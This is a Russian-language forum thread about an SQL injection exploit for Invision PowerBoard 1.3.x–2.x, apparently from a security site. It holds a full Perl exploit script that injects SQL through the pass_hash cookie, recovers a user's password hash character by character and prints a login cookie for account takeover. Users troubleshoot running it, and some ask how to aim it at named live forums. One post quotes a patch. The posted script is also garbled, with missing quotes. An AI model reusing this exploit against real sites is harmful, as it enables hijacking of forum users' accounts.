Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: Пред. 1 2 3 4 След.
RSS
[HSC Security] Invision PowerBoard 1.3.x - 2.x Exploit
 
так вроде в ксплойте написанно <2.0.4 тоесть если я так понял то 2.0.4 он уже несможет =)) до 2.0.4 версии сможет а саму нет
 
Только что проверил, ipb_skides.txt работает на 2.0.4!
 
http://dayhack.h15.ru/phpBB2/index.php
 
Подскажите кто-нибудь че это значит:
ID 1
Password ****************************** ?
 
Практически в конце эксплоита следующая запись!

# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = <title>(.*)Log In(.*)</title>;

Переменной Pattern в любом случае присваивается строка <title>(.*)Log In(.*)</title>, что является условием к принудительному завершению цикла!

Не понятна тогда ремарка авторов указанная ниже:

# If we get a valid sql request then this
# does not appear anywhere in the sources
Кто-ть разобрался - на основании какого условия, все-таки должна происходить выборка нужных символов хэша?

Ломаю голову уже 5-й час... блин...
если кто-то знает, но здесь не хочет комментировать - просьба отписаться на prisoner7@yandex.ru или ICQ: 5712433

Thanks
 
Цитата
JJF пишет:
Как временно закрыть эту уязвимость написал сам автор эксплойта вот тут:
http://www.hackerscenter.com/Archive/view.asp?id=3812
вкратце, суть в том, чтобы заменить в файле sources/login.php строки

$mid = intval($std- gt;my_get #099;ookie(member_id));
$pid = $std- gt;my_get #099;ookie(pass_hash);


на

$mid =  mysql_escape_string(intval($std- gt;my_get #099;ookie(member _id)));
$pid = mysql_escape_string($std- gt;my_get #099;ookie(pass_hash));


Причем, такая модификация может и должна быть сделана на любой версии IPB 1.3.x - 2.x.

Нафига??? Интересно, не лень народу до сих пор на каждую дыру патчи кропать? Каменный век, однако [IMG]http://www.securitylab.ru/forum/smileys/smiley36.gif[/IMG] - учитывая, что за 20-30 минут можно залепить практически все известные и неизвестные дыры (а если что и останется - то так, по мелочи и без особого вреда). Во всяком случае, во 2-м инвижне.
 
Блин ну правда . Постояно тута не рабочие эексплойты. Что скрипт кидесов чтоль боятся все ? =) Вобщем канчайте всякую лажу выкладывать =) давай те нам рабочие эксплойт =)
 
Цитата
Shanker пишет:
Я так и не понял на что perl ругается? У меня у одного проблемы с исполнением скрипта?
<font face="Times New Roman, Times, serif">не ты один такой, есть и другие...
У меня нет перла, я работаю под CygWinом, там выдает подобную галиматью: Cant locate LWP/UserAgent.pm in @INC (@INC contains: /usr/lib/perl5/5.8.5/cygwin-thread-multi-4int /usr/lib/perl5/site_perl/5.8.5 /usr/lib/perl5/site_perl /usr/lib/perl5/vendor_perl/5.8.5/cygwin-thread-multi-64int /usr/lib/perl5/vendor_perl/5.8.5vendor_perl .) at ./ipb.pl line9.
<P>BEGIN failed--compilation aborted at ./ipb.pl line 9.</font>
 
блин нашел че за шняга, нету этого самого UserAgent...
может кто подскажет где взять его можно?
 
Цитата
UrSeR пишет:
блин нашел че за шняга, нету этого самого UserAgent...
может кто подскажет где взять его можно?
в СygWin-е нет многих нужных библиотек для работы этого сплоита, качай Active Perl и читай внимательно форум....
 
вот пофиксенный :

#!/usr/bin/perl -w

# This one actually works :) Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org

# edited by rav3n http://skidеs.net.ru

use IO::Socket;

if (!$ARGV[0]) {$ARGV[0] = ;}
if (!$ARGV[3]) {$ARGV[3] = ;}

my $host = $ARGV[0]; # hostname
my $path = $ARGV[1] . index.php?act=Login&CODE=autologin;
my $user = $ARGV[2]; # userid to jack
my $iver = $ARGV[3]; # version 1 or 2
if($ARGV[4]) { $cpre = $ARGV[4] } else { $cpre = "" }
my $dbug = $ARGV[5]; # debug?
if (!$ARGV[3])
{
print "... By rav3n Usage: ipb_skides.pl site.org /forum/ [id] [ver1/2] [cookie_prefix] [debug].\n\n";
exit;
}

my @charset =  ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e" ,"f");
my $outputs = ;

M1:
for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ?  "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$curre nt%2527)/*" :  "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%25 27$current%2527)/*";
$cookie = $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql;

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "FAILED\n\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Cookie: $cookie\n";
print $socket "Connection: close\n\n";

# If we get a valid sql request then this
# does not appear anywhere in the Location header
$pattern = act=Login&CODE=;

$failed = 0;
while(<$socket>)
{    
    if($dbug) { print };
    if(/$pattern/)  { $failed = 1; }
}

if($failed==0){
      $outputs .= $current;
      print "$i char: $current\n";
      next M1;
}

}
if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;
 
HERo!n
а почему у меня даже 5 строчек принт не выводит?
 
Цитата
ку всем пишет:
Блин ну правда . Постояно тута не рабочие эексплойты. Что скрипт кидесов чтоль боятся все ? =) Вобщем канчайте всякую лажу выкладывать =) давай те нам рабочие эксплойт =)
no comments..... [IMG]http://www.securitylab.ru/forum/smileys/smiley36.gif[/IMG]
 
Цитата
UrSeR пишет:
блин нашел че за шняга, нету этого самого UserAgent...
может кто подскажет где взять его можно?
Я поставил полную версию ActivePerl и всё стало нормально
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Цитата
ку всем пишет:
Блин ну правда . Постояно тута не рабочие эексплойты. Что скрипт кидесов чтоль боятся все ? =) Вобщем канчайте всякую лажу выкладывать =) давай те нам рабочие эксплойт =)
Хех.... :D разсмешил........... Давай я те откомпиленный ехе-шник пришлю........ Гыыыыыы )))
 
Народ я не знаю как у вас а у меня всё пашет...

Я просто изменил Login на Вход но в кодировке Win-1251
Что то какие-то цифорки побежали....
 
чо за супер модификация?

Unquoted string "php" may clash with future reserved word at ipb.pl line 16. Unquoted string "act" may clash with future reserved word at ipb.pl line 16. Operator or semicolon missing before &CODE at ipb.pl line 16. Ambiguous use of & resolved as operator & at ipb.pl line 16. Unquoted string "autologin" may clash with future reserved word at ipb.pl line 16. Unquoted string "act" may clash with future reserved word at ipb.pl line 48. Operator or semicolon missing before &CODE at ipb.pl line 48. Ambiguous use of & resolved as operator & at ipb.pl line 48. syntax error at ipb.pl line 12, near "= ;" syntax error at ipb.pl line 13, near "= ;" Not enough arguments for index at ipb.pl line 16, near "index." syntax error at ipb.pl line 16, near "autologin;" syntax error at ipb.pl line 28, near "= ;" syntax error at ipb.pl line 48, near "=;" Execution of ipb.pl aborted due to compilation errors.
 
ну никто не выложит рабочий ?
 
Вот я попробовал эксплоит... вроде работает у меня дома, только в инете не пашет =(((
Вот смотрите http://wow.metrolife.ru/forum/index.php адрес форума... дак как будет выглядеть командная строка? Я чет ваще непойму почему failed пишет  [IMG]http://www.securitylab.ru/forum/smileys/smiley19.gif[/IMG]
 
Can't locate IO/Socket.pm in @INC (@INC contains: .) at 1.pl line 37.
BEGIN failed--compilation aborted at 1.pl line 37.

У мя пишет вот эту батву. Как профиксить эту проблему с сокетом? Не работает ни в одной версии перла.
Страницы: Пред. 1 2 3 4 След.
Читают тему